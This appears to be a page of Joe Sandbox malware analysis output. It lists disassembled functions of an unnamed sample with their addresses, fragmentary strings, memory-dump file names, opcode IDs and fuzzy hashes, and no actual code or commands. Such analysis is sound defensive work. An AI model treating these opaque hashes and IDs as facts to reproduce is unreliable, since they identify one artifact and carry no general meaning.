Opcode Fuzzy Hash: 8c24c0f4d3b73d3dcd747f0d05901d0ebeef0fac03a43f3aecd9681b021b627e
Instruction Fuzzy Hash: C8320672A083518BD728DF29D85176BB7E2EFC5310F09857DE8899B391EB74AC01C786

Function 008681AE Relevance: 3.0, Strings: 2, Instructions: 538COMMON

Download Yara Rule

Strings

hSN#, xrefs: 008681AE
`r], xrefs: 008688D9

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: `r]$hSN#
API String ID: 0-3132102705
Opcode ID: 75e9cf17b1b67a163edf54f46cc3d0446550cac62dde3f441a3ced80b287362f
Instruction ID: 3919530eb4db5539ae7131176d72b8538650703ecb01254c327aa57046018605
Opcode Fuzzy Hash: 75e9cf17b1b67a163edf54f46cc3d0446550cac62dde3f441a3ced80b287362f
Instruction Fuzzy Hash: 1C02E0F3F146244BF3484938DC99366B696DBA4321F2F823D9F89A77C5E87E5C094284

Function 008221A2 Relevance: 3.0, Strings: 2, Instructions: 455COMMON

Download Yara Rule

Strings

f@or, xrefs: 0082261A
="g(, xrefs: 0082271E

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: ="g($f@or
API String ID: 0-556951699
Opcode ID: 659fc639d7d57e01b701b50871541006bf62cb11d9ddade6e97ab2ebc0e39b32
Instruction ID: 598dfcab697b9145ebd0b5bfc834a9252b4f31983cb875c5d493e2644b8b4470
Opcode Fuzzy Hash: 659fc639d7d57e01b701b50871541006bf62cb11d9ddade6e97ab2ebc0e39b32
Instruction Fuzzy Hash: 8CE1CCF3F506244BF3444979DC98366B692DB94324F2F823C8F98AB3C5D97E9D0A4284

Function 0086635B Relevance: 2.9, Strings: 2, Instructions: 442COMMON

Download Yara Rule

Strings

klG, xrefs: 00866924
WOgy, xrefs: 0086680F

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: WOgy$klG
API String ID: 0-576771951
Opcode ID: 3fa7bf094efc4d28df07e4b11c3c12c9dacd1322c84100a450320ceecfc9a567
Instruction ID: 15f7393b22f29bc9cbd7444face2775afd8e889f4926f13c2986289dac6c0f08
Opcode Fuzzy Hash: 3fa7bf094efc4d28df07e4b11c3c12c9dacd1322c84100a450320ceecfc9a567
Instruction Fuzzy Hash: E7E1DFF3F146144BF3445E38DC983BA7692EB94320F1B823D9B899B7C4E97E58098385

Function 007D847D Relevance: 2.9, Strings: 2, Instructions: 420COMMON

Download Yara Rule

Strings

i=+9, xrefs: 007D849F
!-%., xrefs: 007D8498

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: !-%.$i=+9
API String ID: 0-3329930587
Opcode ID: 6f3a6127ea03f0c12810755e38d89eb1c3fce6d78c26b690a1c1cad093f125e7
Instruction ID: 2fd6bc69f2ce9672c6e7300665a2d25ba0f283982be9be4c7b00ac9f6f2404a8
Opcode Fuzzy Hash: 6f3a6127ea03f0c12810755e38d89eb1c3fce6d78c26b690a1c1cad093f125e7
Instruction Fuzzy Hash: 95D1B1B4A04245CFDF14CFA8D8D1ABEBBB1FF49304F0885A9D4169B392E7399901CB61

Function 007D9040 Relevance: 2.9, Strings: 2, Instructions: 376COMMON

Download Yara Rule

Strings

1?,s, xrefs: 007D9228
#&J:, xrefs: 007D921A

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: #&J:$1?,s
API String ID: 0-2217357408
Opcode ID: bd6c12e60481e07178bd607e225df913fd0459df04a2d05e5939064cd9d7d474
Instruction ID: d4d3c92f0f06948ad10f95a90fb1023b16ebcfee4a7e3774d95f9165781ffd66
Opcode Fuzzy Hash: bd6c12e60481e07178bd607e225df913fd0459df04a2d05e5939064cd9d7d474
Instruction Fuzzy Hash: 25D14671E08144DFDB18CF69EC916BEBBB2BF49310F1881A9E1559B392D73D8941CB20

Function 007B4280 Relevance: 2.8, Strings: 2, Instructions: 329COMMON

Download Yara Rule

Strings

IEND, xrefs: 007B4671
), xrefs: 007B42FB

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: 6127af7bfcb50e60b4c2a97b5d339d3fc24466344aa243c9e8ed3a70c73f2159
Instruction ID: 350f0689e27a114b921e0f46e132e7387bfd1f9f1a2ea249685521a2c1ae0cb1
Opcode Fuzzy Hash: 6127af7bfcb50e60b4c2a97b5d339d3fc24466344aa243c9e8ed3a70c73f2159
Instruction Fuzzy Hash: 4BD19FB1908344DFD720CF14D845B9ABBE4EF94304F14492DF9999B382D779E909CB92

Function 00883113 Relevance: 2.8, Strings: 2, Instructions: 282COMMON

Download Yara Rule

Strings

R, xrefs: 008831FF
NgUS, xrefs: 0088342C

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: NgUS$R
API String ID: 0-1227284453
Opcode ID: 912195fa3b7150b850652878b77d80a75c70b2038fa3ecdecbe6e49c4152ecb6
Instruction ID: cb1d13e6d46f746741f262e0b4fd44b50744a9495faebe31e168d3480f0614a4
Opcode Fuzzy Hash: 912195fa3b7150b850652878b77d80a75c70b2038fa3ecdecbe6e49c4152ecb6
Instruction Fuzzy Hash: F5A186B3E115298BF3944D24CC583A2A2829BE5325F2F42788E0C7B7C5D93F6D4A63C4

Function 007EE262 Relevance: 2.6, Strings: 2, Instructions: 148COMMON

Download Yara Rule

Strings

MVWT, xrefs: 007EE28A
@, xrefs: 007EE392

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: @$MVWT
API String ID: 0-308850327
Opcode ID: 29131a2c6b256f59291944cf235025aa57f226c25bccedb6804b2e0f594f54d5
Instruction ID: 22013768fc0dfb1cd8f6f3b4a26a9fb72da25d6cc21963fd9f1fda495e5e0e1c
Opcode Fuzzy Hash: 29131a2c6b256f59291944cf235025aa57f226c25bccedb6804b2e0f594f54d5
Instruction Fuzzy Hash: 694106765193818BE314CF26C49027BB7E2EFDA304F595C1DE4C1AB294DB7C8946CB46

Function 007DC1A3 Relevance: 2.6, Strings: 2, Instructions: 63COMMON

Download Yara Rule

Strings

x, xrefs: 007DC1AB
/:8*, xrefs: 007DC1C4

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: /:8*$x
API String ID: 0-64667063
Opcode ID: 2deb9410f1475fe4b565db496a902b8e1f1b89a6457a44a6c8662009b3b1d6b5
Instruction ID: 288b885589acd09e32b9d286b9968fe6c0cb456c50fb3cc733ef4373b455ac8c
Opcode Fuzzy Hash: 2deb9410f1475fe4b565db496a902b8e1f1b89a6457a44a6c8662009b3b1d6b5
Instruction Fuzzy Hash: E301283690D7A28BD302CF299980212FFE1AB97710F194A5DD4E6A7391C529DE05C786

Function 0081845A Relevance: 1.8, Strings: 1, Instructions: 512COMMON

Download Yara Rule

Strings

Y%, xrefs: 00818AE5

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: Y%
API String ID: 0-1305839261
Opcode ID: a70d473a87b833f3113eaec21c47f6233042ff0c4ddc811491b14e55340e6615
Instruction ID: 8bdb7eb7901626348ab5c52b1acb6119b1309a5935e22a28f68d69e3a53bfd7e
Opcode Fuzzy Hash: a70d473a87b833f3113eaec21c47f6233042ff0c4ddc811491b14e55340e6615
Instruction Fuzzy Hash: FF02ACF3F115244BF3444939CC583A66692DBE5325F2F82389E4CAB7C9E97E9C0A4284

Function 00869436 Relevance: 1.7, Strings: 1, Instructions: 482COMMON

Download Yara Rule

Strings

etg}, xrefs: 0086995D

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: etg}
API String ID: 0-2051860544
Opcode ID: 6d45c6ec2289fe558f9971a3ba2e9652fc37d3cd304298db8d17dfb6fa3311ac
Instruction ID: ef668c3ba5f29ce23353fa0663b3e8b356fb1e144677ce6a0c1acfc112753a2e
Opcode Fuzzy Hash: 6d45c6ec2289fe558f9971a3ba2e9652fc37d3cd304298db8d17dfb6fa3311ac
Instruction Fuzzy Hash: 86F1CEB3F116248BF3544D29DC98366B6939BD4320F2F8678DE8CAB7C4D97E5C0A4285

Function 007DA050 Relevance: 1.7, Strings: 1, Instructions: 428COMMON

Download Yara Rule

Strings

", xrefs: 007DA3A7

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: dac31f3e8d82c414a5d017679b608916631b9901e939ee2a43c753c5a373f89f
Instruction ID: b071db03cf464a6225505893a878b55255328d56c433025b81562e16c44b889b
Opcode Fuzzy Hash: dac31f3e8d82c414a5d017679b608916631b9901e939ee2a43c753c5a373f89f
Instruction Fuzzy Hash: DCD1B272A08345AFD714CE68C48576AB7F6BB84314F18892EE89987382E779DD44C783

Function 008993BE Relevance: 1.6, Strings: 1, Instructions: 391COMMON

Download Yara Rule

Strings

8q~, xrefs: 00899866

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: 8q~
API String ID: 0-4200682350
Opcode ID: c5704d949c02c352f00a5dd66477a56aa614c8f823bb6ead80cce23f105652ab
Instruction ID: ed9b4ccea2b7b91f0e143fa86904806851ffcdb62329bc343bcb23ec0e9f9750
Opcode Fuzzy Hash: c5704d949c02c352f00a5dd66477a56aa614c8f823bb6ead80cce23f105652ab
Instruction Fuzzy Hash: A1D19CF3F516254BF3544879CC983626683DBD5325F2F82788F28AB7C9D87E9C0A5284

Function 007D74A5 Relevance: 1.6, Strings: 1, Instructions: 362COMMON

Download Yara Rule

Strings

"u}, xrefs: 007D7515

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: "u}
API String ID: 0-3094662062
Opcode ID: 0827cce93562a824d1df85cc04d2515ca529a0186582f18583ecb38ab2285023
Instruction ID: 41c877fed100be465dea26a960b291bd14877087f8f0bbba300531b882a3bfd2
